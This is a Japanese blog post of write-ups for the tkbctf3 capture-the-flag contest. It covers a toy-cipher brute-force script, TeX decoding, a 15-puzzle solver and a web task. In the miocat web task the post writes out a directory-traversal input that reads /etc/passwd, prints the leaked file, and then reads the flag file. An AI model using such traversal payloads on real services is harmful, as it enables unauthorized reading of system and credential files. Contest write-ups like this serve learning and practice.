tkbctf3 に参加しました
tkbctf は2回目の挑戦です。前回の挑戦では全然問題が解けず、ただただつらい思いをしていたので、戦々恐々としていたのですが、今回は何問か解けたのでよかったです。個性的で好感のもてる問題がいくつかあったので、よい出会いをしました。
解いた問題の Writeup
Our Future (Network 100)
指定された URL にアクセスしたらフラグが出てきました。 IPv6 でアクセスするとフラグが出るようです。
InexhaustibleEnergy
The Deal (Crypto 200)
ウェブ上で動作する暗号化ツールと暗号化されたメッセージが与えられるので、解読する問題です。
とりあえず、暗号化ツールで遊んでみました。テキストとパスワードを入力すると暗号化されます。暗号文は 9.338.244.107.131.216
のような形式で、同じテキストとパスワードの組み合わせを入れても、結果は毎回変わります。
この暗号器で遊んでみた結果、この暗号法は次の手順によって行われていることがわかりました。
- パスワードの各文字に対応する ASCII コードを足し合わせる。
- テキストの各文字を ASCII コードに直し、それぞれにパスワードを変換した数を足す。
- 変換した列の各項に対して、足してその項になるように適当な2数に分割する。
例えば、テキスト text
とパスワード pass
の組み合わせでは、次のように暗号化します。
- パスワードの変換:
pass
→ 112+97+115+115 = 439 - 暗号化:
text
→[116, 101, 120, 116]
→[555, 540, 559, 555]
- 分割:
[555, 540, 559, 555]
→319.236.526.14.228.331.410.145
復号はこの逆の操作を行えばよいのですが、パスワードを変換した数が分からないので、総当りします。総当りは ASCII コードが負にならない範囲で行うことで、抑えることができます。総当りした結果、印字可能な文字のみで構成されている文字列を候補として出力します。
#!/usr/bin/env python3
import string
def decode(cipher_text):
twice = [int(x) for x in cipher_text.split('.')]
return [twice[i]+twice[i+1] for i in range(0, len(twice), 2)]
def decrypto(cipher, n):
codes = [x-n for x in cipher]
if all(0 <= x < 256 for x in codes):
s = ''.join(chr(x) for x in codes)
if all(c in string.printable for c in s):
return s
return None
def main():
with open('email_body_ciphertext.txt') as f:
cipher_text = f.read()
cipher = decode(cipher_text)
for n in range(min(cipher)+1):
s = decrypto(cipher, n)
if s is not None:
print('# n = {0}'.format(n))
print(s)
print()
if __name__ == '__main__':
main()
これを実行すると、フラグが現れます。
# n = 872
...
# n = 873
Dear Dr. Cooper,
Thank you very much for your hostpitality granting me the grade for Linear Algebra I.
I was bad at it so much that it has hindered me graduating for years.
As we agreed, I'm going to pay you $5,000 in check for the extra credit. It's inside the envelope, between the two report sheets.
Once again, thank you very much. It's such a relief.
KEY{FreePizza!ComeAndGetIt}
Sincerly,
Eric Grimm
Real World TeX (Misc 100)
奇妙な文字列が記されたファイル real-world.tex
が問題です。冒頭はこんな感じです。
^^5c^^66^^75^^74^^75^^72^^65^^6c^^65^^74^^7e ^^5c^^63^^61^^74^^63^^6f^^64^^65^^60K7
KK5cKK65KK6eKK64KK6cKK69KK6eKK65KK63KK68KK61KK72- KK5cKK73KK74KK72KK69KK6eKK67KK60
KK7eKK60I13KK7eKK60G10KK5cKK6cKK65KK74 IKK7eI86G10I83G7I72G1I90V0I78V2I80G6I82G5
I13G9I76G13ZKK6cKK65KK74GLZKK6cKK65KK74I65G13LZSS46ZKK66SS6fKK6eKK74VLZSS54ZSS6dSS61SS67KK73KK74SS65KK70V
...
よく見ると、2桁の16進数がかなり含まれていることがわかります。そこで、16進数の部分だけ抽出してみると、なんとなく TeX のような文字列が確認できたので、非16進数の部分を勘で適当な文字に置換したりすると、こんな感じになりました。
...
and partly a basic set
of given things.'' \vskip 10pt
\sc\catcode`I12 AsIAimm is
the \bf keyword of this question!
\newwrite\a\relax
...
なんとなくそれっぽくなったので、コンパイルしてみようとしましたが、エラーが出てできませんでした。そこで ^^hh
(hh
は16進数) を ASCII に変換して、他は何も変換しないでコンパイルしてみると、うまくいきました。
出力された DVI ファイルを開くと1つめのフラグが書いてありました。
"Most programming language are partly a way of expressing things in terms of other things and
partly a basic set of given things."
ISMIM is the keyword of this question!
2つめはどこだろうと何がコンパイルされたのか確認すると、索引ファイルも出力されていました。その中に2つめのフラグがありました。
Land1n is another keyword!
追記
今回はファイルに対して処理を行いましたが、与えられたファイルをそのままコンパイルすればよかったようです。
15-Puzzle (Misc 250)
15-Puzzle の最短手順回数を求める問題です。
かっこいい方法を思いつかなかったので BFS な探索をすることにしました。ただし、上にスライドした後下にスライドして元に戻す、という無駄な操作を排除するために探索を行った状態は省くようにしました。
#!/usr/bin/env python3
import re
import telnetlib
FINISHED = (1, 2, 3, 4, 5, 6, 7, 8, 9, 10, 11, 12, 13, 14, 15, 0)
def move(board):
width = 4
height = 4
i = board.index(0)
r = i%width
if i >= width:
# down
upper = i-width
b = board[:upper]+board[i:i+1]+board[upper+1:i]
b += board[upper:upper+1]+board[i+1:]
yield b
if i < width*(height-1):
# up
lower = i+width
b = board[:i]+board[lower:lower+1]+board[i+1:lower]
b += board[i:i+1]+board[lower+1:]
yield b
if r != 0:
# to right
left = i-1
yield board[:left]+board[i:i+1]+board[left:left+1]+board[i+1:]
if r != width-1:
# to left
right = i+1
yield board[:i]+board[right:right+1]+board[i:i+1]+board[right+1:]
def solve(board):
board_queue = [(0, board)]
archives = {board}
old_count = 0
while len(board_queue) > 0:
count, board = board_queue.pop(0)
if count > old_count:
old_count = count
count += 1
for new_board in move(board):
if new_board in archives:
continue
if new_board == FINISHED:
return count
board_queue.append((count, new_board))
archives.add(new_board)
return -1
def main():
tn = telnetlib.Telnet('203.178.132.117', 3939)
while True:
while True:
s = tn.expect([re.compile(b'.*\n')])[2].decode()
print(s, end='')
if s.startswith('#'):
break
lines = [tn.read_until(b'\n').decode() for i in range(4)]
for i in range(4):
print(lines[i], end='')
board = tuple(int(x) for s in lines for x in s.strip().split())
n = solve(board)
if n < 0:
output = 'NO\n\n'
else:
output = '{0}\n\n'.format(n)
tn.write(output.encode())
print(output, end='')
if __name__ == '__main__':
main()
ナイーブな方法のため、手順が多くなると遅くなってタイムアウトしてしまいます。また、ごく稀に Wrong Answer
が返されます。こんな方法ですが、何回か試したら、フラグが出てきました。
Welcome. We are the fafrotskies.
Your answers must be terminated by an empty line, don't forget!
===== 15-Puzzle =====
Solve 15-Puzzle!
The four lines make one set of input.
Zero denotes the missing tile.
If the input puzzle is solvable then print the number of the shortest steps to solve the puzzle.
If the puzzle is not solvable then print the line "NO".
Stage #1
Enjoy!
#1
1 2 3 4
5 6 7 8
9 0 11 12
13 10 14 15
3
Stage 1 cleared.
Stage #2
The 2nd stage!
#1
1 3 7 4
5 2 11 8
9 6 0 12
13 10 14 15
8
#2
1 3 7 4
5 2 11 8
9 6 0 12
13 10 14 15
8
Stage 2 cleared.
...
Stage 4 cleared.
Stage #5
The LAST stage!
...
#5
1 2 4 8
5 11 6 3
9 0 7 12
13 10 14 15
# Solving
11
Complete! Flag is FLAG{N0_R4M3N_N0_L1F3!!}
miocat (Web 250)
ウェブアプリケーションが問題です。
URL を入力すると何かをしてくれるアプリケーションらしいので URL を入力してみます。
http://www.google.com/
と入力するとError: NameResolutionFailure
と返ってきます。http://localhost/
と入力するとError: ConnectFailure (Connection refused)
と返ってきます。test
と入力するとnot acceptable.
と返ってきます。
厄介です。どんなアプリケーションなのか全然わかりません。
とりあえず、取っ掛かりがほしいのでいろんなことを試してみました。メソッドを変えてみたり、パラメータに変な文字列を入れてみたり。でも特徴的な挙動はしません。
もう嫌になってきたので http:///
と入力したら Could not find a part of the path "/home/miocat/http:/".
と返ってきました。そこで http://////aaaaa///////b
と入力してみると Could not find a part of the path "/home/miocat/http:/aaaaa/b".
と返ってきました。
おそらく、複数の連続するスラッシュを1つにまとめているようなので http://../../../etc/passwd
としてみるとディレクトリトラバーサルが成功しました。
root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
bin:x:2:2:bin:/bin:/usr/sbin/nologin
sys:x:3:3:sys:/dev:/usr/sbin/nologin
sync:x:4:65534:sync:/bin:/bin/sync
games:x:5:60:games:/usr/games:/usr/sbin/nologin
man:x:6:12:man:/var/cache/man:/usr/sbin/nologin
lp:x:7:7:lp:/var/spool/lpd:/usr/sbin/nologin
mail:x:8:8:mail:/var/mail:/usr/sbin/nologin
news:x:9:9:news:/var/spool/news:/usr/sbin/nologin
uucp:x:10:10:uucp:/var/spool/uucp:/usr/sbin/nologin
proxy:x:13:13:proxy:/bin:/usr/sbin/nologin
www-data:x:33:33:www-data:/var/www:/usr/sbin/nologin
backup:x:34:34:backup:/var/backups:/usr/sbin/nologin
list:x:38:38:Mailing List Manager:/var/list:/usr/sbin/nologin
irc:x:39:39:ircd:/var/run/ircd:/usr/sbin/nologin
gnats:x:41:41:Gnats Bug-Reporting System (admin):/var/lib/gnats:/usr/sbin/nologin
nobody:x:65534:65534:nobody:/nonexistent:/usr/sbin/nologin
libuuid:x:100:101::/var/lib/libuuid:
sshd:x:101:65534::/var/run/sshd:/usr/sbin/nologin
syslog:x:102:105::/home/syslog:/bin/false
miocat:x:1001:1001:Miocat,,,Read /home/miocat/flag:/home/miocat:/bin/bash
chris:x:1000:1000::/home/chris:/bin/bash
このファイルの指示にしたがって、 http://../flag
としてみるとフラグが表示されました。
flag: ElizabethDoesntSayLazy